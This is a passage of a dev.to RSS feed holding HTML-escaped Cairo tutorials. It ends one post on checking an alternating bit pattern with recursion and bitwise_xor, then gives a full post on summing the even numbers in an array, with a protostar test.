    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;unsigned_div_rem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;_broken_chain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;check_broken_chain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_broken_chain&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since the challenge has a &lt;code&gt;bitwise_xor&lt;/code&gt; import in the first place, we can also use it to get the &lt;code&gt;_broken_chain&lt;/code&gt; use like so:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remainder_xor_prev_remainder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bitwise_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
 &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;_broken_chain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;remainder_xor_prev_remainder&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;During the recursion, if broken_chain is 1, we just return the result.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;broken_chain&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;valid_chain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;valid_chain&lt;/span&gt;&lt;span class="p"&gt;,);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Handle the edge case and base case
&lt;/h3&gt;

&lt;p&gt;The first bit does not have a previous bit to compare with, so we can just calculate its remainder and move to the next bit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;unsigned_div_rem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because we keep dividing n by 2, it will become 0 eventually. When it does, we return the result.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;valid_chain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;valid_chain&lt;/span&gt;&lt;span class="p"&gt;,);&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Wrapping Up
&lt;/h2&gt;

&lt;p&gt;Alright, that is all I am covering for today. If you have any questions, please feel free to reach out to me. I hope this is helpful to somebody learning Cairo. &lt;/p&gt;

&lt;p&gt;You can find the code in this article on &lt;a href="https://github.com/peterblockman/CairoBootcamp/blob/main/exercises/programs/ex7.cairo"&gt;Github&lt;/a&gt; &lt;/p&gt;

</description>
      <category>cairolang</category>
      <category>web3</category>
      <category>starknet</category>
    </item>
    <item>
      <title>Cairo lang: Sum even numbers in an array</title>
      <dc:creator>Peter Blockman</dc:creator>
      <pubDate>Sat, 05 Nov 2022 08:32:47 +0000</pubDate>
      <link>https://dev.to/peterblockman/cairo-lang-sum-even-numbers-in-an-array-pa4</link>
      <guid>https://dev.to/peterblockman/cairo-lang-sum-even-numbers-in-an-array-pa4</guid>
      <description>&lt;h2&gt;
  
  
  Setting up
&lt;/h2&gt;

&lt;p&gt;We use &lt;a href="https://docs.swmansion.com/protostar/docs/tutorials/introduction"&gt;protostar&lt;/a&gt; to set up a simple Cairo project where we can implement and test our function.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;protostar init sum-even
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Algorithm
&lt;/h2&gt;

&lt;p&gt;Cairo does not have a standard for loop built-in. To sum even numbers in an array, we use recursion. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;main.cairo&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;starkware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cairo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;common&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bitwise&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;bitwise_xor&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;starkware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cairo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;common&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cairo_builtins&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;BitwiseBuiltin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;HashBuiltin&lt;/span&gt;

&lt;span class="nx"&gt;func&lt;/span&gt; &lt;span class="nx"&gt;sum_even&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;bitwise_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;BitwiseBuiltin&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="nx"&gt;arr_len&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;felt&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;felt&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;run&lt;/span&gt;&lt;span class="p"&gt;,);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;bitwise_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;felt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xor&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;new_run&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;run&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;sum_even&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arr_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;new_run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;sum_even&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arr_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first time I look at Cairo's functions. They seem strange to me. Why are things like &lt;code&gt;{bitwise_ptr: BitwiseBuiltin*}&lt;/code&gt;  included in most every function?&lt;/p&gt;

&lt;p&gt;&lt;code&gt;{bitwise_ptr: BitwiseBuiltin*}&lt;/code&gt; is an &lt;a href="https://www.cairo-lang.org/docs/reference/syntax.html#syntax-implicit-arguments"&gt;Implicit argument&lt;/a&gt;. &lt;code&gt;{bitwise_ptr: BitwiseBuiltin*}&lt;/code&gt; adds argument &lt;code&gt;bitwise_ptr&lt;/code&gt; which is a pointer and returns an updated pointer &lt;code&gt;bitwise_ptr = bitwise_ptr + BitwiseBuiltin.SIZE&lt;/code&gt; to the function.  &lt;code&gt;BitwiseBuiltin.SIZE&lt;/code&gt; is the memory size of &lt;code&gt;BitwiseBuiltin&lt;/code&gt; type.&lt;/p&gt;

&lt;p&gt;The arguments' type: &lt;code&gt;felt&lt;/code&gt; is a &lt;a href="https://www.cairo-lang.org/docs/hello_cairo/intro.html#the-primitive-type-field-element-felt"&gt;filed element&lt;/a&gt;.  When you don't specify variables' types, you use &lt;code&gt;felt&lt;/code&gt;. It is like &lt;code&gt;any&lt;/code&gt; in Typescript. We use &lt;code&gt;felt*&lt;/code&gt; for array &lt;code&gt;arr&lt;/code&gt; (The single asterisk indicates that it is a pointer)&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;idx&lt;/code&gt; equals &lt;code&gt;arr_len&lt;/code&gt;, it means that we reach the end of the array. We simply return the sum value.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arr_len&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;run&lt;/span&gt;&lt;span class="p"&gt;,);&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To check if the an number is even, we use bitwise xor&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;bitwise_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="c1"&gt;// xor == val + 1 means val is an even number&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a number is even, we add it to the sum. Otherwise, move to the next number.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;xor&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;new_run&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;run&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;sum_even&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arr_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;new_run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;sum_even&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;arr_len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;arr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;run&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To test the function, we make &lt;code&gt;test_sum_even&lt;/code&gt; in &lt;code&gt;test_main.cairo&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Test
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nx"&gt;lang&lt;/span&gt; &lt;span class="nx"&gt;starknet&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;starkware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cairo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;common&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cairo_builtins&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;BitwiseBuiltin&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;starkware&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cairo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;common&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;alloc&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;alloc&lt;/span&gt;

&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt; &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;sum_even&lt;/span&gt;

&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;external&lt;/span&gt;
&lt;span class="nx"&gt;func&lt;/span&gt; &lt;span class="nx"&gt;test_sum_even&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;bitwise_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;BitwiseBuiltin&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;}()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;felt&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;alloc&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="nx"&gt;assert&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nx"&gt;assert&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sum_even&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;assert&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;%lang starknet&lt;/code&gt; declares that this file is a Starknet file. Without it, we cannot use &lt;code&gt;@external&lt;/code&gt; decorator which allows us to call it by &lt;code&gt;protostar test tests/test.cairo&lt;/code&gt;command.&lt;/p&gt;

&lt;p&gt;We also need to supply the implicit argument &lt;code&gt;bitwise_ptr: BitwiseBuiltin*&lt;/code&gt; because we use it in our &lt;code&gt;sum_even&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;To make an array, we call &lt;code&gt;alloc()&lt;/code&gt; function which dynamically creates a new memory segment to store the array as a single element.  Then we start to add values to the array using the &lt;a href="https://www.cairo-lang.org/docs/hello_cairo/intro.html?highlight=assert#the-assert-statement"&gt;assert statement&lt;/a&gt;. &lt;code&gt;assert array[0] = 2;&lt;/code&gt; set the value of the first memory cell at the address array (a pointer) to 2. If any value was set previously, it will verify if the previous value equals 2. &lt;/p&gt;

&lt;p&gt;Finally, we check if the returned sum is the expected result 2 by using the &lt;code&gt;assert&lt;/code&gt; keyword again.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This is an exercise from Encode's Cairo Bootcamp. At the time of writing, I am participating in the Bootcamp. Teaching is the best way to learn. I indeed get a better understanding of Cairo by explaining the code in this article. &lt;/p&gt;

